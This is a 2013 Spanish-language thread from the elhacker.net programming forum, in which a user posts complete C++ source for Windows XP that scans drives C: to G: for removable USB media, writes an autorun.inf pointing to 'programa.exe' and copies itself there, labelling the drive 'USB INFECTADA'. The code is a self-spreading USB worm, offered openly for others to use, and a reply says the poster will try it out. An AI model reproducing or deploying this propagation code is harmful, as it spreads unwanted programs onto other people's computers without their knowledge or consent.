elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  [c++ - windows xp]copiarse a una usb con autorun
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [c++ - windows xp]copiarse a una usb con autorun  (Leído 1,773 veces)
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
[c++ - windows xp]copiarse a una usb con autorun
« en: 3 Julio 2013, 16:07 pm »

talves a alguien le sirva

Código
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <fstream>
  4.  
  5.  
  6.  
  7. using namespace std;
  8.  
  9. int main(int argc,char *argv[])
  10. {
  11.    while(true){
  12.    UINT test;
  13.    char tok[][5]={"C:","D:","E:","F:","G:","H:"}; //obviamente se pueeden poner mas  aunque no es muy comun que pase de H://
  14.    for (int l=0;l<=4;l++){
  15.    test = GetDriveType(tok[l]); // MIRA QUE TIPO DE DISPOSITIVO ES EN CASO DE SER 2 ENTONCES ES UNA USB SI ES 1 NO EXISTE
  16.    if(test==2){
  17.    SetCurrentDirectory(tok[l]); // SE UBICA EN EL DIRECOTORIO RAIZ DE LA USB
  18.    ifstream programa;
  19.    programa.open("programa.exe");
  20.    if(!programa.is_open()){ // EN CASO DE NO ESTAR INFECTADA LO HACE
  21.    cout << "usb infectada" << endl;
  22.    ofstream autorun;
  23.    autorun.open("autorun.inf"); //FAMOSO AUTORUN
  24.    autorun << "[Autorun]" << endl;
  25.    autorun << "Open=programa.exe" << endl;
  26.    autorun << "Label=USB INFECTADA"<< endl;
  27.    autorun << "UseAutoplay=1"<< endl;
  28.    autorun << "action=Abrir USB"<< endl;
  29.    autorun << "action=@programa.exe"<< endl;
  30.    autorun << "shell\\open=Abrir"<< endl;
  31.    autorun << "shell\\open\\Command=programa.exe" << endl;
  32.    autorun << "shell\\open\\Default=1" << endl;
  33.    autorun << "shell\\explore=Explorar"<< endl;
  34.    autorun << "shell\\explore\\Command=programa.exe"<< endl;
  35.    autorun.close();
  36.    CopyFile( argv[0], "programa.exe", true ); // SE COPIA
  37.    }
  38.    }
  39.    }
  40.    Sleep(5000); // ESPERA 5 SEGUNDOS
  41.    }
  42.    return 0;
  43. }


En línea

buenas
5cr173R

Desconectado Desconectado

Mensajes: 13


No tengo espada, yo hago de mi alma mi espada.


Ver Perfil
Re: [c++ - windows xp]copiarse a una usb con autorun
« Respuesta #1 en: 6 Julio 2013, 01:23 am »

Muy bueno amigo, ahora lo pruebo!! gracias ;-)


En línea

No tengo parientes, yo hago que la Tierra y el Cielo lo sean.
No tengo hogar, yo hago que mi cuerpo lo sea.
No tengo poder divino, yo hago de la honestidad mi poder.
No tengo medios, yo hago mis medios de la docilidad.
No tengo poder mágico, yo hago de mi personalidad mi magia.
No tengo cuerpo, yo hago del estoicismo mi cuerpo.
No tengo ojos, yo hago del relámpago mis ojos.
Watashi wa bushi
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Copiarse a si mismo
Programación Visual Basic
Nichas 3 1,683 Último mensaje 28 Agosto 2005, 19:25 pm
por programatrix
Copiarse (como se hace)
Programación Visual Basic
Sancho.Mazorka 9 2,567 Último mensaje 15 Diciembre 2005, 14:54 pm
por Kizar
Autorun Eater 2.5: Detecta y elimina archivos Autorun.inf peligrosos con ....
Noticias
wolfbcn 0 4,497 Último mensaje 11 Mayo 2010, 20:57 pm
por wolfbcn
Windows Seven y autorun.inf
Seguridad
Psyke1 7 4,447 Último mensaje 14 Agosto 2010, 15:59 pm
por .(sWeEtHaCk).
Autorun al iniciar windows 7
Programación Visual Basic
Aethiran 6 4,443 Último mensaje 21 Noviembre 2010, 06:20 am
por Elemental Code
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines